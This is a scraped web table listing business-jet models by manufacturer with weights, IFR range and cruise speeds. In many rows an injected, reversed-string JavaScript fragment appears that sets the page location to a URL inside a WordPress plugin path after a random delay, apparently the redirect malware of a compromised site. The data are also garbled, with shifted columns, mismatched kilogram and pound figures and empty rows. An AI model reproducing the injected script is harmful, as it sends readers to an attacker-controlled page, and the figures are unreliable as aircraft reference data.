| A/C Manufacturer | Model | MTOW (kg) | MTOW (lbs) | Nautical Miles IFR Range | MPH Max Cruise | MPH Long Range |
| Turbofans | ||||||
| Airbus | ACJ318 |
68,000 |
149,914 |
4,200 |
541 |
510 |
| Airbus | ACJ319 |
75,500 |
166,449 |
6,000 |
514 |
630 |
| Airbus | ACJ320 |
78,000 |
171,961 |
4,200 |
624 |
519 |
| Airbus | ACJ330 |
240,000 |
529,109 |
6,400 |
655 |
541 |
| Airbus | ACJ340 |
380,000 |
837,757 |
9,900 |
655 |
N/A |
| Airbus | ACJ350 |
368,000 |
811,301 |
10,000 |
677 |
N/A |
| Airbus | ACJ380 |
560,000 |
1,234,588 |
9,300 |
677 |
N/A |
| Boeing Business Jets | BBJ |
77,600 |
171,079 |
11,390 |
470 |
452 |
| Boeing Business Jets | BBJ2 |
79,000 |
174,165 |
10,460 |
470 |
452 |
| Boeing Business Jets | BBJ3 |
85,139 |
187,700 |
5,435 |
541 |
524 |
| Boeing Business Jets | 747-8 VIP | toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom”>
439,992 |
toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom”>
970,000 |
9,285 |
587 |
N/A |
| Boeing Business Jets | 777-200ER VIP |
10,100 |
550 |
|||
| Boeing Business Jets | 777-300ER VIP |
9,220 |
587 |
|||
| Boeing Business Jets | 787-8 VIP |
9,285 |
614 |
|||
| Boeing Business Jets | 787-9 VIP | |||||
| Bombardier Aerospace | Challenger 300 |
17,460 |
38,493 |
5,740 |
470 |
459 |
| Bombardier Aerospace | Challenger 350 | toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom”>
18,416 |
40,600 |
3,200 |
541 |
527 |
| Bombardier Aerospace | Challenger 604 |
21,860 |
48,193 |
7,550 |
470 |
425 |
| Bombardier Aerospace | Challenger 605 |
21,883 |
48,200 |
4,000 |
541 |
488 |
| Bombardier Aerospace | Challenger 800 |
24,040 |
52,999 |
5,780 |
459 |
425 |
| Bombardier Aerospace | Challenger 850 |
24,040 |
53,000 |
2,811 |
528 |
489 |
| Bombardier Aerospace | Global 5000 |
39,800 |
87,744 |
8,890 |
513 |
N/A |
| Bombardier Aerospace | Global 6000 | toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom”>
45,132 |
99,500 |
6,000 |
670 |
647 |
| Bombardier Aerospace | Global 7000 | toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom”>
48,194 |
106,250 |
7,300 |
685 |
647 |
| Bombardier Aerospace | Global 8000 |
47,536 |
104,800 |
7,900 |
685 |
647 |
| Bombardier Aerospace | Global Express |
43,090 |
94,997 |
7,000 |
513 |
459 |
| Bombardier Aerospace | Global Express XRS |
44,450 |
97,995 |
6,150 |
513 |
564 |
| Bombardier Aerospace | Learjet 40 |
9,230 |
20,349 |
1,805 |
464 |
421 |
| Bombardier Aerospace | Learjet 45 |
9,300 |
20,503 |
3,700 |
464 |
421 |
| Bombardier Aerospace | Learjet 45XR |
9,750 |
21,495 |
2,049 |
464 |
421 |
| Bombardier Aerospace | Learjet 60 |
10,660 |
23,501 |
4,620 |
466 |
422 |
| Bombardier Aerospace | Learjet 60 XR | toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom”>
10,659 |
23,500 |
2,405 |
536 |
491 |
| Bombardier Aerospace | Learjet 70 | toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom”>
9,752 |
21,500 |
2,060 |
617 |
571 |
| Bombardier Aerospace | Learjet 75 | toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom”>
9,752 |
21,500 |
2,040 |
617 |
571 |
| Bombardier Aerospace | Learjet 85 | toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom”>
15,195 |
33,500 |
3,000 |
624 |
594 |
| Cessna Aircraft | Citation Bravo |
6,710 |
14,793 |
3,300 |
402 |
343 |
| Cessna Aircraft | Citation CJ1 |
4,810 |
10,604 |
2,310 |
380 |
318 |
| Cessna Aircraft | Citation CJ2 |
5,610 |
12,368 |
1,545 |
410 |
405 |
| Cessna Aircraft | Citation CJ2+ | toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom”>
5,670 |
12,500 |
1,613 |
481 |
412 |
| Cessna Aircraft | Citation CJ3 |
6,290 |
13,867 |
1,665 |
417 |
403 |
| Cessna Aircraft | Citation CJ3+ | toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom”>
6,291 |
13,870 |
2,070 |
479 |
478 |
| Cessna Aircraft | Citation CJ4 | toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom”>
7,761 |
17,110 |
2,192 |
519 |
434 |
| Cessna Aircraft | Citation Encore |
7,540 |
16,623 |
1,667 |
429 |
376 |
| Cessna Aircraft | Citation Latitude |
N/A |
N/A |
2,500 |
506 |
506 |
| Cessna Aircraft | Citation Longitude | toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom”>
24,948 |
5,500 |
4,000 |
564 |
N/A |
| Cessna Aircraft | Citation M2 | toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom”>
4,853 |
10,700 |
1,580 |
465 |
N/A |
| Cessna Aircraft | Citation Mustang | toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom”>
3,921 |
8,645 |
1,207 |
391 |
340 |
| Cessna Aircraft | Citation Sovereign |
13,610 |
30,005 |
4,630 |
459 |
N/A |
| Cessna Aircraft | Citation Sovereign+ | toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom”>
13,959 |
30,775 |
3,188 |
529 |
527 |
| Cessna Aircraft | Citation X |
16,380 |
36,112 |
5,960 |
525 |
470 |
| Cessna Aircraft | Citation X+ | toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom”>
16,601 |
36,600 |
3,408 |
606 |
N/A |
| Cessna Aircraft | Citation XLS |
9,160 |
20,194 |
3,450 |
433 |
367 |
| Cessna Aircraft | Citation XLS+ | toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom”>
9,163 |
20,200 |
2,111 |
507 |
480 |
| Dassault Aviation | Falcon 2000 |
16,250 |
35,825 |
5,550 |
482 |
430 |
| Dassault Aviation | Falcon 2000EX |
18,750 |
41,337 |
7,030 |
528 |
484 |
| Dassault Aviation | Falcon 2000LXS | toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom”>
19,414 |
42,800 |
4,000 |
426 |
609 |
| Dassault Aviation | Falcon 2000S |
18,597 |
41,000 |
3,350 |
426 |
N/A |
| Dassault Aviation | Falcon 50EX |
18,020 |
39,727 |
6,080 |
482 |
430 |
| Dassault Aviation | Falcon 5X |
31,570 |
69,600 |
5,200 |
426 |
609 |
| Dassault Aviation | Falcon 7X |
28,919 |
63,755 |
10,550 |
426 |
559 |
| Dassault Aviation | Falcon 8X |
33,112 |
73,000 |
6,450 |
426 |
559 |
| Dassault Aviation | Falcon 900C |
20,660 |
45,548 |
7,400 |
482 |
430 |
| Dassault Aviation | Falcon 900EX |
21,928 |
48,343 |
8,325 |
482 |
430 |
| Dassault Aviation | Falcon 900LX |
22,226 |
49,000 |
4,750 |
426 |
493 |
| Diamond Aircraft | D-Jet |
2,000 |
4,409 |
2,445 |
315 |
276 |
| Eclipse Aviation | Eclipse 500 |
2,560 |
5,644 |
2,370 |
375 |
294 |
| Eclipse Aviation | Eclipse 550 |
2,000 |
4,409 |
1,125 |
430 |
276 |
| Embraer | Phenom 100 |
4,750 |
toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom”>
10,472 |
2,182 |
449 |
383 |
| Embraer | Phenom 300 |
8,150 |
toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom”>
17,968 |
1,971 |
521 |
441 |
| Embraer | Legacy 450 | toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom”>
17,690 |
39,001 |
2,500 |
624 |
N/A |
| Embraer | Legacy 500 |
19,050 |
42,000 |
3,000 |
632 |
700 |
| Embraer | Legacy 600 |
20,000 |
44,092 |
3,530 |
445 |
396 |
| Embraer | Legacy 650 |
22,500 |
49,604 |
6,340 |
459 |
425 |
| Embraer | Lineage |
121,254 |
55,000 |
8,334 |
472 |
454 |
| Embraer | Lineage 1000 | toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom”>
121,254 |
55,000 |
5,179 |
553 |
522 |
| Gulfstream Aerospace | G100 |
11,180 |
24,648 |
5,000 |
470 |
430 |
| Gulfstream Aerospace | G150 |
13,086 |
28,850 |
5,000 |
N/A |
430 |
| Gulfstream Aerospace | G200 |
16,080 |
35,450 |
6,390 |
470 |
430 |
| Gulfstream Aerospace | G280 | toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom”>
17,962 |
39,600 |
3,600 |
639 |
609 |
| Gulfstream Aerospace | G350 |
32,160 |
70,900 |
3,800 |
562 |
528 |
| Gulfstream Aerospace | G450 |
33,520 |
73,899 |
8,060 |
N’A |
459 |
| Gulfstream Aerospace | G500 |
38,600 |
85,098 |
10,740 |
499 |
459 |
| Gulfstream Aerospace | G550 |
41,280 |
91,007 |
12,500 |
N/A |
459 |
| Gulfstream Aerospace | G650 |
45,178 |
99,600 |
12,964 |
530 |
488 |
| Gulfstream Aerospace | G650ER | toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom”>
46,992 |
103,600 |
7,500 |
704 |
647 |
| Honda | HondaJet HA-420 | toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom”>
4,173 |
9,200 |
1,180 |
483 |
483 |
| Raytheon Aircraft | Premier I |
5,680 |
12,522 |
2,780 |
451 |
376 |
| Raytheon Aircraft | Hawker 400XP |
7,390 |
16,292 |
2,645 |
450 |
414 |
| Raytheon Aircraft | Hawker 800XP |
12,700 |
27,999 |
4,660 |
447 |
402 |
| Raytheon Aircraft | Hawker Horizon |
17,010 |
37,501 |
6,300 |
470 |
430 |
| Safire | Safire Jet |
2,830 |
6,239 |
1,300 |
375 |
N/A |
| Sino Swearingen | SJ30-2 |
6,120 |
13,492 |
4,130 |
485 |
447 |